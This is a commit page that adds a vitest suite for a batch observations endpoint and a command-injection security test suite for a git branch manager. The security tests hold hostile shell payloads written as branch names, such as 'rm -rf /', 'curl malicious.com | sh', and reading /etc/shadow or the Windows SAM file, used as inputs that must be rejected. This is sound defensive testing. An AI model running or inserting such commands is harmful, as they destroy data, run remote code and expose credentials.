backup: Phase 1 agent work (security, persistence, batch endpoint)
This is a backup of all work done by the 3 Phase 1 agents: Agent A - Command Injection Fix (Issue #354): - Fixed command injection in BranchManager.ts - Fixed unnecessary shell usage in bun-path.ts - Added comprehensive security test suite - Created SECURITY.md and SECURITY_AUDIT_REPORT.md Agent B - Observation Persistence Fix (Issue #353): - Added PendingMessageStore from PR #335 - Integrated persistent queue into SessionManager - Modified SDKAgent to mark messages complete - Updated SessionStore with pending_messages migration - Updated worker-types.ts with new interfaces Agent C - Batch Endpoint Verification (Issue #348): - Created batch-observations.test.ts - Updated worker-service.mdx documentation Also includes: - Documentation context files (biomimetic, windows struggles) - Build artifacts from agent testing This work will be re-evaluated after v7.3.0 release.
This commit is contained in:
Alex Newman
@@ -0,0 +1,248 @@
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/**
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* Happy Path Test: Batch Observations Endpoint
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*
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* Tests that the batch observations endpoint correctly retrieves
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* multiple observations by their IDs in a single request.
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*/
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import { describe, it, expect, beforeEach, vi } from 'vitest';
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import { getWorkerPort } from '../../src/shared/worker-utils.js';
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describe('Batch Observations Endpoint', () => {
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const WORKER_PORT = getWorkerPort();
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const WORKER_BASE_URL = `http://127.0.0.1:${WORKER_PORT}`;
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beforeEach(() => {
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vi.clearAllMocks();
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});
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it('retrieves multiple observations by IDs', async () => {
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// Mock response with multiple observations
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const mockObservations = [
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{
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id: 1,
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sdk_session_id: 'test-session-1',
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project: 'test-project',
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type: 'discovery',
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title: 'Test Discovery 1',
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created_at: '2024-01-01T10:00:00Z',
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created_at_epoch: 1704103200000
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},
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{
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id: 2,
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sdk_session_id: 'test-session-2',
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project: 'test-project',
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type: 'bugfix',
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title: 'Test Bugfix',
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created_at: '2024-01-02T10:00:00Z',
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created_at_epoch: 1704189600000
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},
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{
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id: 3,
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sdk_session_id: 'test-session-3',
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project: 'test-project',
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type: 'feature',
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title: 'Test Feature',
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created_at: '2024-01-03T10:00:00Z',
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created_at_epoch: 1704276000000
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}
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];
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global.fetch = vi.fn().mockResolvedValue({
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ok: true,
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status: 200,
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json: async () => mockObservations
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});
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// Execute: Fetch observations by IDs
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const response = await fetch(`${WORKER_BASE_URL}/api/observations/batch`, {
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method: 'POST',
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headers: {
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'Content-Type': 'application/json'
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},
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body: JSON.stringify({ ids: [1, 2, 3] })
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});
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const data = await response.json();
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// Verify: Response contains all requested observations
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expect(response.ok).toBe(true);
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expect(data).toHaveLength(3);
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expect(data[0].id).toBe(1);
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expect(data[1].id).toBe(2);
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expect(data[2].id).toBe(3);
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});
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it('applies orderBy parameter correctly', async () => {
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const mockObservations = [
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{
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id: 3,
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created_at: '2024-01-03T10:00:00Z',
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created_at_epoch: 1704276000000
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},
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{
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id: 2,
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created_at: '2024-01-02T10:00:00Z',
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created_at_epoch: 1704189600000
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},
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{
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id: 1,
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created_at: '2024-01-01T10:00:00Z',
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created_at_epoch: 1704103200000
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}
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];
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global.fetch = vi.fn().mockResolvedValue({
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ok: true,
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status: 200,
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json: async () => mockObservations
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});
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// Execute: Fetch with date_desc ordering
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const response = await fetch(`${WORKER_BASE_URL}/api/observations/batch`, {
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method: 'POST',
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headers: {
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'Content-Type': 'application/json'
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},
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body: JSON.stringify({
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ids: [1, 2, 3],
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orderBy: 'date_desc'
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})
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});
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const data = await response.json();
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// Verify: Results are ordered by date descending
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expect(data[0].id).toBe(3);
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expect(data[1].id).toBe(2);
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expect(data[2].id).toBe(1);
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});
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it('applies limit parameter correctly', async () => {
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const mockObservations = [
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{ id: 3, created_at_epoch: 1704276000000 },
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{ id: 2, created_at_epoch: 1704189600000 }
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];
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global.fetch = vi.fn().mockResolvedValue({
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ok: true,
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status: 200,
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json: async () => mockObservations
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});
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// Execute: Fetch with limit=2
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const response = await fetch(`${WORKER_BASE_URL}/api/observations/batch`, {
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method: 'POST',
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headers: {
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'Content-Type': 'application/json'
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},
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body: JSON.stringify({
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ids: [1, 2, 3],
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limit: 2
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})
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});
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const data = await response.json();
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// Verify: Only 2 results returned
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expect(data).toHaveLength(2);
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});
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it('filters by project parameter', async () => {
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const mockObservations = [
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{ id: 1, project: 'project-a' },
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{ id: 2, project: 'project-a' }
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];
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global.fetch = vi.fn().mockResolvedValue({
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ok: true,
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status: 200,
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json: async () => mockObservations
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});
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// Execute: Fetch with project filter
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const response = await fetch(`${WORKER_BASE_URL}/api/observations/batch`, {
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method: 'POST',
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headers: {
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'Content-Type': 'application/json'
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},
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body: JSON.stringify({
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ids: [1, 2, 3],
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project: 'project-a'
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})
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});
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const data = await response.json();
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// Verify: Only matching project observations returned
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expect(data).toHaveLength(2);
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expect(data.every((obs: any) => obs.project === 'project-a')).toBe(true);
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});
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it('returns empty array for empty IDs', async () => {
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global.fetch = vi.fn().mockResolvedValue({
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ok: true,
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status: 200,
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json: async () => []
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});
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// Execute: Fetch with empty IDs array
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const response = await fetch(`${WORKER_BASE_URL}/api/observations/batch`, {
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method: 'POST',
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headers: {
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'Content-Type': 'application/json'
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},
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body: JSON.stringify({ ids: [] })
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});
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const data = await response.json();
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// Verify: Empty array returned
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expect(data).toEqual([]);
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});
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it('returns error for invalid IDs parameter', async () => {
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global.fetch = vi.fn().mockResolvedValue({
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ok: false,
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status: 400,
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json: async () => ({ error: 'ids must be an array of numbers' })
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});
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// Execute: Fetch with invalid IDs (string instead of array)
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const response = await fetch(`${WORKER_BASE_URL}/api/observations/batch`, {
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method: 'POST',
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headers: {
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'Content-Type': 'application/json'
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},
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body: JSON.stringify({ ids: 'not-an-array' })
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});
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const data = await response.json();
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// Verify: Error response returned
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expect(response.ok).toBe(false);
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expect(data.error).toBe('ids must be an array of numbers');
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});
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it('returns error for non-integer IDs', async () => {
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global.fetch = vi.fn().mockResolvedValue({
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ok: false,
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status: 400,
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json: async () => ({ error: 'All ids must be integers' })
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});
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// Execute: Fetch with mixed types in IDs array
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const response = await fetch(`${WORKER_BASE_URL}/api/observations/batch`, {
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method: 'POST',
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headers: {
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'Content-Type': 'application/json'
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},
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body: JSON.stringify({ ids: [1, 'two', 3] })
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});
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const data = await response.json();
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// Verify: Error response returned
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expect(response.ok).toBe(false);
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expect(data.error).toBe('All ids must be integers');
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});
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});
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@@ -0,0 +1,277 @@
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/**
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* Security Test Suite: Command Injection Prevention
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*
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* Tests command injection vulnerabilities and their fixes across the codebase.
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* These tests ensure that user input cannot be used to execute arbitrary commands.
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*/
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import { describe, test, expect, beforeEach, afterEach } from 'bun:test';
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import { getBranchInfo, switchBranch, pullUpdates } from '../../src/services/worker/BranchManager';
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import { existsSync, mkdirSync, writeFileSync, rmSync } from 'fs';
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import { join } from 'path';
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import { homedir } from 'os';
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const TEST_PLUGIN_PATH = join(homedir(), '.claude', 'plugins', 'marketplaces', 'thedotmack-test');
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describe('Command Injection Security Tests', () => {
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describe('BranchManager - Branch Name Validation', () => {
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test('should reject branch names with shell metacharacters', async () => {
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const maliciousBranchNames = [
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'main; rm -rf /',
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'main && curl malicious.com | sh',
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'main || cat /etc/passwd',
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'main | tee /tmp/pwned',
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'main > /tmp/pwned',
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'main < /etc/passwd',
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'main & background-command',
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'main $(whoami)',
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'main `whoami`',
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'main\nwhoami',
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'main\rwhoami',
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'main\x00whoami',
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];
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for (const branchName of maliciousBranchNames) {
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const result = await switchBranch(branchName);
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expect(result.success).toBe(false);
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expect(result.error).toContain('Invalid branch name');
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}
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});
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test('should reject branch names with double dots (directory traversal)', async () => {
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const result = await switchBranch('main/../../../etc/passwd');
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expect(result.success).toBe(false);
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expect(result.error).toContain('Invalid branch name');
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});
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test('should reject branch names starting with invalid characters', async () => {
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const invalidStarts = [
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'.hidden-branch',
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'-invalid',
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'/absolute',
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];
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for (const branchName of invalidStarts) {
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const result = await switchBranch(branchName);
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expect(result.success).toBe(false);
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expect(result.error).toContain('Invalid branch name');
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}
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});
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test('should accept valid branch names', async () => {
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// Note: These tests will fail if not in a git repo, but the validation should pass
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const validBranchNames = [
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'main',
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'beta',
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'beta-v2',
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'feature/new-feature',
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'hotfix/urgent-fix',
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'release/1.2.3',
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'dev_test',
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'branch.name',
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'alpha123',
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];
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for (const branchName of validBranchNames) {
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const result = await switchBranch(branchName);
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// The validation should pass (won't contain "Invalid branch name")
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// It might fail for other reasons (not a git repo, branch doesn't exist)
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if (result.error) {
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expect(result.error).not.toContain('Invalid branch name');
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}
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}
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});
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test('should reject null, undefined, and empty branch names', async () => {
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const result1 = await switchBranch('');
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expect(result1.success).toBe(false);
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expect(result1.error).toContain('Invalid branch name');
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// TypeScript prevents null/undefined, but test runtime behavior
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const result2 = await switchBranch(null as any);
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expect(result2.success).toBe(false);
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const result3 = await switchBranch(undefined as any);
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expect(result3.success).toBe(false);
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});
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});
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describe('Command Array Argument Safety', () => {
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test('should use array-based arguments for all git commands', () => {
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// Read BranchManager source to verify no string interpolation
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const branchManagerSource = Bun.file('/Users/alexnewman/Scripts/claude-mem/src/services/worker/BranchManager.ts');
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const content = branchManagerSource.text();
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content.then(text => {
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// Ensure no execSync with template literals or string concatenation
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expect(text).not.toMatch(/execSync\(`git \$\{/);
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expect(text).not.toMatch(/execSync\('git ' \+/);
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expect(text).not.toMatch(/execSync\("git " \+/);
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// Ensure spawnSync is used with array arguments
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expect(text).toContain("spawnSync('git', args");
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expect(text).toContain('shell: false');
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});
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});
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test('should never use shell=true with user input', () => {
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const branchManagerSource = Bun.file('/Users/alexnewman/Scripts/claude-mem/src/services/worker/BranchManager.ts');
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const content = branchManagerSource.text();
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content.then(text => {
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// Ensure shell: false is explicitly set
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const shellTrueMatches = text.match(/shell:\s*true/g);
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expect(shellTrueMatches).toBeNull();
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});
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});
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});
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describe('Input Sanitization Edge Cases', () => {
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test('should reject branch names with URL encoding attempts', async () => {
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const result = await switchBranch('main%20;%20rm%20-rf');
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expect(result.success).toBe(false);
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expect(result.error).toContain('Invalid branch name');
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});
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test('should reject branch names with unicode control characters', async () => {
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const controlChars = [
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'main\u0000test', // Null byte
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'main\u0008test', // Backspace
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'main\u001btest', // ESC
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];
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for (const branchName of controlChars) {
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const result = await switchBranch(branchName);
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expect(result.success).toBe(false);
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expect(result.error).toContain('Invalid branch name');
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}
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});
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test('should handle very long branch names safely', async () => {
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const longBranchName = 'a'.repeat(1000);
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const result = await switchBranch(longBranchName);
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// Should either accept it or reject it, but never crash
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expect(result).toHaveProperty('success');
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expect(typeof result.success).toBe('boolean');
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});
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});
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describe('Cross-platform Safety', () => {
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test('should handle Windows-specific command separators', async () => {
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const windowsInjections = [
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'main & dir',
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'main && type C:\\Windows\\System32\\config\\SAM',
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'main | findstr password',
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];
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|
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for (const branchName of windowsInjections) {
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const result = await switchBranch(branchName);
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expect(result.success).toBe(false);
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expect(result.error).toContain('Invalid branch name');
|
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}
|
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});
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||||
|
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test('should handle Unix-specific command separators', async () => {
|
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const unixInjections = [
|
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'main; cat /etc/shadow',
|
||||
'main && ls -la /',
|
||||
'main | grep -r password /',
|
||||
];
|
||||
|
||||
for (const branchName of unixInjections) {
|
||||
const result = await switchBranch(branchName);
|
||||
expect(result.success).toBe(false);
|
||||
expect(result.error).toContain('Invalid branch name');
|
||||
}
|
||||
});
|
||||
});
|
||||
|
||||
describe('Regression Tests for Issue #354', () => {
|
||||
test('should prevent command injection via targetBranch parameter (original vulnerability)', async () => {
|
||||
// This was the original vulnerability: targetBranch was directly interpolated
|
||||
const maliciousBranch = 'main; echo "PWNED" > /tmp/pwned.txt';
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||||
const result = await switchBranch(maliciousBranch);
|
||||
|
||||
expect(result.success).toBe(false);
|
||||
expect(result.error).toContain('Invalid branch name');
|
||||
|
||||
// Verify the malicious command was NOT executed
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expect(existsSync('/tmp/pwned.txt')).toBe(false);
|
||||
});
|
||||
|
||||
test('should prevent command injection in pullUpdates function', async () => {
|
||||
// pullUpdates uses info.branch which could be compromised
|
||||
// The fix validates branch names before use
|
||||
const result = await pullUpdates();
|
||||
|
||||
// Should either succeed or fail safely, never execute injected commands
|
||||
expect(result).toHaveProperty('success');
|
||||
expect(typeof result.success).toBe('boolean');
|
||||
});
|
||||
});
|
||||
|
||||
describe('NPM Command Safety', () => {
|
||||
test('should use array-based arguments for npm commands', () => {
|
||||
const branchManagerSource = Bun.file('/Users/alexnewman/Scripts/claude-mem/src/services/worker/BranchManager.ts');
|
||||
const content = branchManagerSource.text();
|
||||
|
||||
content.then(text => {
|
||||
// Ensure execNpm uses array arguments
|
||||
expect(text).toContain("execNpm(['install']");
|
||||
|
||||
// Ensure no string concatenation with npm
|
||||
expect(text).not.toMatch(/execSync\('npm install'/);
|
||||
expect(text).not.toMatch(/execShell\('npm install'/);
|
||||
});
|
||||
});
|
||||
});
|
||||
});
|
||||
|
||||
describe('Process Manager Security Tests', () => {
|
||||
test('should validate port parameter is numeric', async () => {
|
||||
const { ProcessManager } = await import('../../src/services/process/ProcessManager');
|
||||
|
||||
// Test port injection attempts
|
||||
const result1 = await ProcessManager.start(NaN);
|
||||
expect(result1.success).toBe(false);
|
||||
expect(result1.error).toContain('Invalid port');
|
||||
|
||||
const result2 = await ProcessManager.start(999999);
|
||||
expect(result2.success).toBe(false);
|
||||
expect(result2.error).toContain('Invalid port');
|
||||
|
||||
const result3 = await ProcessManager.start(-1);
|
||||
expect(result3.success).toBe(false);
|
||||
expect(result3.error).toContain('Invalid port');
|
||||
});
|
||||
|
||||
test('should use array-based spawn arguments', () => {
|
||||
const processManagerSource = Bun.file('/Users/alexnewman/Scripts/claude-mem/src/services/process/ProcessManager.ts');
|
||||
const content = processManagerSource.text();
|
||||
|
||||
content.then(text => {
|
||||
// Ensure spawn uses array arguments
|
||||
expect(text).toContain('spawn(bunPath, [script]');
|
||||
|
||||
// Ensure no shell=true
|
||||
expect(text).not.toMatch(/shell:\s*true/);
|
||||
});
|
||||
});
|
||||
});
|
||||
|
||||
describe('Bun Path Utility Security Tests', () => {
|
||||
test('should not use shell for bun version check', () => {
|
||||
const bunPathSource = Bun.file('/Users/alexnewman/Scripts/claude-mem/src/utils/bun-path.ts');
|
||||
const content = bunPathSource.text();
|
||||
|
||||
content.then(text => {
|
||||
// Ensure shell: false is set
|
||||
expect(text).toContain('shell: false');
|
||||
|
||||
// Ensure no shell: isWindows or shell: true
|
||||
expect(text).not.toMatch(/shell:\s*isWindows/);
|
||||
expect(text).not.toMatch(/shell:\s*true/);
|
||||
});
|
||||
});
|
||||
});
|
||||
Reference in New Issue
Block a user